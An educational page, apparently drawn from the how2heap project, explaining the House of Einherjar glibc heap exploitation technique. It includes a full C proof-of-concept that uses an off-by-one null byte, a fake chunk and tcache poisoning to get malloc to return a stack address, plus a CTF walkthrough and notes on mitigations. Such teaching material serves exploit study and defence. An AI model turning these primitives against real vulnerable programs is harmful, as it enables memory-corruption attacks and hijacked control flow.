Skip to main content

Overview

The House of Einherjar is an elegant heap exploitation technique that leverages an off-by-one overflow with a null byte to create overlapping chunks. Named after the warriors of Norse mythology, this technique uses a single null byte to achieve powerful control over heap allocations.
This technique is particularly powerful because it only requires a single null byte overflow, one of the most common vulnerability types in C programs.

Glibc Version Compatibility

VersionStatusNotes
glibc 2.23✅ WorkingOriginal technique
glibc 2.26+✅ WorkingRequires tcache bypass
glibc 2.32+✅ WorkingModified version with tcache poisoning
Latest✅ WorkingTested on Ubuntu 20.10 (glibc 2.32)
Ret2 Wargames Practice: Try this technique hands-on at House of Einherjar Interactive Challenge

What This Technique Achieves

The House of Einherjar enables:
  • Chunk overlapping: Create a large chunk that overlaps existing allocations
  • Use-after-free creation: Get malloc to return already-allocated memory
  • Tcache poisoning setup: Use the overlap to corrupt tcache for arbitrary allocation
  • Control flow hijacking: Overwrite function pointers or return addresses

Prerequisites and Constraints

This technique requires:
  1. Off-by-one null byte overflow: Ability to write a single 0x00 byte past a chunk
  2. Heap leak: Must know heap addresses for fake chunk and tcache poisoning
  3. Size control: Target chunk size must have LSB of 0x00 (e.g., 0x100, 0x200)
  4. Tcache bypass: Must fill tcache (7 chunks) to reach unsorted bin
  5. Fake chunk creation: Ability to set up fake chunk metadata

How It Works

1

Create fake chunk

Allocate a chunk and set up fake chunk metadata with self-referential fd/bk pointers.
intptr_t *a = malloc(0x38);
a[0] = 0;           // prev_size (not used)
a[1] = 0x60;        // size
a[2] = (size_t)a;   // fd (points to self)
a[3] = (size_t)a;   // bk (points to self)
2

Allocate victim chunks

Allocate chunks ‘b’ and ‘c’ where ‘b’ will overflow into ‘c’.
uint8_t *b = malloc(0x28);
uint8_t *c = malloc(0xf8);  // Size chosen so chunk size is 0x101
3

Overflow with null byte

Write a null byte past the end of chunk ‘b’ to clear c’s PREV_INUSE bit.
int real_b_size = malloc_usable_size(b);
b[real_b_size] = 0;  // Off-by-one null byte!
// c's size: 0x101 -> 0x100 (PREV_INUSE bit cleared)
4

Set fake prev_size

Write a fake prev_size in chunk ‘b’ to point back to fake chunk ‘a’.
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*)a);
*(size_t*)&b[real_b_size - sizeof(size_t)] = fake_size;
a[1] = fake_size;  // Update fake chunk size too
5

Fill tcache and free

Fill tcache for size 0xf8, then free chunk ‘c’ to trigger consolidation.
intptr_t *x[7];
for(int i=0; i<7; i++) x[i] = malloc(0xf8);
for(int i=0; i<7; i++) free(x[i]);

free(c);  // Consolidates with fake chunk!
6

Exploit the overlap

Allocate a large chunk covering the overlapping region, then use tcache poisoning.
intptr_t *d = malloc(0x158);  // Covers chunk 'b' and more
free(b);  // Free overlapped chunk

// Corrupt b's fd pointer via chunk d
d[0x30/8] = (long)target ^ ((long)&d[0x30/8] >> 12);

malloc(0x28);  // Drain tcache
void *e = malloc(0x28);  // Returns target address!

Complete Source Code

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main()
{
	/*
	 * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.
	 * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
	 * It has the additional requirement of a heap leak.
	 */

	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("Welcome to House of Einherjar 2!\n");
	printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n");
	printf("Next, we use tcache poisoning to hijack control flow.\n"
		   "Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,"
		   "now tcache poisoning requires a heap leak.\n");

	// prepare the target
	intptr_t stack_var[0x10];
	intptr_t *target = NULL;

	// choose a properly aligned target address
	for(int i=0; i<0x10; i++) {
		if(((long)&stack_var[i] & 0xf) == 0) {
			target = &stack_var[i];
			break;
		}
	}
	assert(target != NULL);
	printf("\nThe address we want malloc() to return is %p.\n", (char *)target);

	printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
	intptr_t *a = malloc(0x38);

	// create a fake chunk
	printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
	printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");

	a[0] = 0;	// prev_size (Not Used)
	a[1] = 0x60; // size
	a[2] = (size_t) a; // fwd
	a[3] = (size_t) a; // bck

	printf("Our fake chunk at %p looks like:\n", a);
	printf("prev_size (not used): %#lx\n", a[0]);
	printf("size: %#lx\n", a[1]);
	printf("fwd: %#lx\n", a[2]);
	printf("bck: %#lx\n", a[3]);

	printf("\nWe allocate 0x28 bytes for 'b'.\n"
		   "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
		   "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
	uint8_t *b = (uint8_t *) malloc(0x28);
	printf("b: %p\n", b);

	int real_b_size = malloc_usable_size(b);
	printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);

	printf("\nWe allocate 0xf8 bytes for 'c'.\n");
	uint8_t *c = (uint8_t *) malloc(0xf8);
	printf("c: %p\n", c);

	uint64_t* c_size_ptr = (uint64_t*)(c - 8);
	printf("\nc.size: %#lx\n", *c_size_ptr);
	printf("c.size is: (0x100) | prev_inuse = 0x101\n");

	printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
	// VULNERABILITY
	b[real_b_size] = 0;
	// VULNERABILITY
	printf("c.size: %#lx\n", *c_size_ptr);

	printf("It is easier if b.size is a multiple of 0x100 so you "
		   "don't change the size of b, only its prev_inuse bit\n");

	// Write a fake prev_size to the end of b
	printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
		   "it will consolidate with our fake chunk\n", sizeof(size_t));
	size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
	printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
	*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;

	// Change the fake chunk's size to reflect c's new prev_size
	printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
	a[1] = fake_size;
	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);

	// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
	printf("\nFill tcache.\n");
	intptr_t *x[7];
	for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
		x[i] = malloc(0xf8);
	}

	printf("Fill up tcache list.\n");
	for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
		free(x[i]);
	}

	printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
	free(c);
	printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);

	printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
	intptr_t *d = malloc(0x158);
	printf("Next malloc(0x158) is at %p\n", d);

	// tcache poisoning
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
		   "We have to create and free one more chunk for padding before fd pointer hijacking.\n");
	uint8_t *pad = malloc(0x28);
	free(pad);

	printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
	free(b);
	printf("Now the tcache list has [ %p -> %p ].\n", b, pad);

	printf("We overwrite b's fwd pointer using chunk 'd'\n");
	// requires a heap leak because it assumes the address of d is known.
	d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);

	// take target out
	printf("Now we can cash out the target chunk.\n");
	malloc(0x28);
	intptr_t *e = malloc(0x28);
	printf("\nThe new chunk is at %p\n", e);

	// sanity check
	assert(e == target);
	printf("Got control on target/stack!\n\n");
}

Technical Deep Dive

The Off-By-One Null Byte

The null byte overflow clears the PREV_INUSE bit:
Before overflow:
  Chunk C: [0x101] (size with PREV_INUSE bit set)
  
After null byte write:
  Chunk C: [0x100] (PREV_INUSE bit cleared)
When PREV_INUSE is clear, free() attempts backward consolidation:
// From malloc.c - simplified
if (!prev_inuse(p)) {
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(p, bck, fwd);
}

Why Size Must End in 0x00

The chunk size must have LSB = 0x01 before overflow:
  • 0x101 -> null byte -> 0x100 ✓
  • 0x111 -> null byte -> 0x110 (changes size, likely crashes) ✗
Size values that work:
  • 0x101 (request 0xf8)
  • 0x201 (request 0x1f8)
  • 0x301 (request 0x2f8)
When consolidating, unlink() validates the fake chunk:
if (FD->bk != P || BK->fd != P)
    malloc_printerr("corrupted double-linked list");
Our fake chunk bypasses this:
a[2] = (size_t)a;  // fd points to self
a[3] = (size_t)a;  // bk points to self
// Check: a->fd->bk == a->bk->fd == a ✓

Tcache Poisoning with Safe Linking

Glibc 2.32+ uses safe linking for tcache:
// Encrypt: fd_next = next ^ (address >> 12)
tcache->entries[idx] = next ^ (address_of_entries >> 12);
To poison tcache, we need:
  1. Heap leak (to know address)
  2. Calculate: target ^ (current_addr >> 12)
  3. Overwrite fd pointer via overlapping chunk

CTF Challenge

Challenge: Note-taking application with off-by-one overflowVulnerability:
  • strcpy() caused off-by-one null byte overflow
  • Could overflow from one note into next chunk’s metadata
Exploitation:
  1. Created fake chunk in early allocation
  2. Used off-by-one to clear PREV_INUSE of target chunk
  3. Set fake prev_size to point back to fake chunk
  4. Freed target chunk, consolidating with fake chunk
  5. Got overlapping chunk allocation
  6. Overwrote function pointer for shell
Writeup: Seccon 2016 Tinypad

Common Pitfalls

Wrong Size Selection: Choosing a chunk size that doesn’t end in 0x01 will cause the null byte to corrupt the size value itself, likely causing a crash.
Forgot to Fill Tcache: On glibc 2.26+, if tcache isn’t full, the free() will go to tcache instead of unsorted bin, and consolidation won’t occur.
Fake Chunk Too Far: If the fake prev_size is too large, it might point to unmapped memory or fail validation checks.

Exploitation Strategy

Phase 1: Setup and Overlap

  1. Leak heap address
  2. Create fake chunk with self-referential pointers
  3. Allocate overflow and victim chunks
  4. Off-by-one to clear PREV_INUSE
  5. Set fake prev_size
  6. Fill tcache and free victim
  7. Allocate large overlapping chunk

Phase 2: Tcache Poisoning

  1. Free the overlapped chunk (now covered by large chunk)
  2. Use large chunk to overwrite freed chunk’s fd pointer
  3. Set fd to: target ^ (fd_address >> 12)
  4. Drain tcache with one allocation
  5. Next allocation returns target

Mitigations

This technique remains unpatched but faces several obstacles:
  • Safe linking (glibc 2.32+): Requires heap leak for tcache poisoning
  • Unlink validation: Fake chunk must have valid fd/bk pointers
  • Bounds checking: Some implementations detect off-by-one overflows
  • Tcache key (glibc 2.34+): Tcache entries have additional validation

Poison Null Byte

Alternative null byte exploitation technique

Tcache Poisoning

Core technique used in modern House of Einherjar

Unsafe Unlink

Related technique exploiting chunk consolidation

See Also

Build docs developers (and LLMs) love